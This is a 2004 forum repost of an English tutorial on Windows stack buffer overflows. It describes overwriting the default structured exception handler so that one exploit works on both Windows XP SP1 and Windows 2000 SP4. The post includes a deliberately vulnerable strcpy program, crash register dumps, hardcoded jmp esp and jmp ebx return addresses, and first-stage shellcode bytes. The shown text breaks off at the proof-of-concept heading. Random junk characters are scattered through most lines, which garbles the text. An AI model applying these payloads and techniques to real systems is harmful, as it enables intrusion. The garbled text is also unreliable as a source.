标题: Exploiting Default Exception Handler to Increase Exploit Sta [打印本页] 作者: 韩冰 时间: 2004-11-19 10:39 标题: Exploiting Default Exception Handler to Increase Exploit Sta The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well.( M/ z+ O& ]4 @; {) g
+ \- p& e! J% ~
[Buf] <- Shellcode6 {4 @) l. K( |( K9 Z$ @$ d- g# _3 \
[Return Address] <- jmp register (for Windows XP sp1) % }: K# Z* H: C: Q[Various Stack Data] <- Junk 5 \% `/ c2 o+ V6 k5 ?' k" [[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward/ ?3 {. j( W9 I1 t0 f/ n& y. ~1 r
[SE Handler] <- jmp register (for Win2k sp4)7 u- A4 P0 K7 N5 ?
[Stage1 Shellcode] <- stage1 shellcode for win2k + v* Y* w1 e4 ?; g# V# n' t I( m+ u8 M. C
If the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses ' @0 A/ q. K8 j2 l # Z3 u ^1 y1 p* vNecessary Tools:8 G: u. E: |* d0 T# Y( D+ T
- OllyDBG0 I$ w$ g! L0 T
- C/C++ Compiler2 ]8 F! m% q" R) T
- nasm 7 j/ U$ B" O4 p; }- Sac8 {: N5 x$ Z! P8 C
9 R- a" t/ h0 r" G: vchar buf[512]; ' O6 ~* X5 G9 d, y* D! D- o, J' ochar buf1[1024]; // <- simulate a stack " D, X& L% k4 U' ]5 q//DebugBreak();# N( W/ k& y, i3 W! w
if (argc != 2){ return -1; } ! b6 c( W% o9 ]) W" \1 W 7 I' n3 s8 ^. cstrcpy(buf,argv[1]); ( w0 k( y. X6 Breturn 0x0;+ i/ A; g/ N3 h+ V3 g/ l' y, }
} 0 U% m' n1 |% N& C ! b# C2 c" X1 [& uGetting Started:" V! ]5 T$ T- z" s" y, [) X7 ]
Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers: * j6 N3 v. M" @% y: u; n9 N3 h) ?$ d+ q
EAX 00000000' g3 L, T/ B7 d) F
ECX 00321404- Q8 C! u! D5 V/ Z
EDX 00414141) N) J/ W3 `3 p4 g! Z a
EBX 7FFDF000- ?2 d! o! @; m& x& }. k$ s& h
ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". s) U2 \4 F7 ~( r- R
EBP 414141415 i$ ~, ]. Z3 L2 r% g. y
ESI 77D4595F 1 e, \! R* B- H5 ?# YEDI 77F59037 ntdll.77F59037' n% `' [5 K6 G# X
EIP 41414141 |# |) M0 C5 B1 m # w" `7 y1 O+ ?1 l5 _: xLets take a look at the stack and see what happened to the default exception handler:0 U& O5 A. o' _+ g+ M+ e; u6 ~% f
0x0012FFB0 41414141 Pointer to next SEH Record& y6 |* r! `; T3 x1 X$ }
0x0012FFB4 41414141 SE Handler0 l; ^9 E. g0 b
- |# @* D) U) u `+ X/ yWe successfully overwrote the return address and the default exception handler." q8 v4 h8 M* D4 f% a. M8 v- _
/ a! {4 n" O U9 e( W8 APrimary Return Address (Windows XP SP1 EN):# U2 v; p4 j8 q. x- h
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:7 _$ s6 k* P4 Z6 _) L
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"4 n6 V8 B; k5 f- \
2 w7 P! C( s2 c$ h- B3 T
Secondary Return Address (Windows 2000 SP4 EN):( Y: S2 b& s. X" i$ @! f! q" @
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be: * ]+ I2 e6 a3 {( a' [# u5 K$ z) P( f* i6 V"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1" 1 J& i6 M* r6 T/ _4 ?+ H6 i. S, [! v' ?
Proof Of Concept: 8 {* _" g% o6 w. q( g' K' T// exploit.c9 M( O: H8 n+ G' b2 ^( w, Q8 o9 }" F
// Tal zeltzer - [Double Return] //; F i, Y8 w1 J$ _; w5 U4 E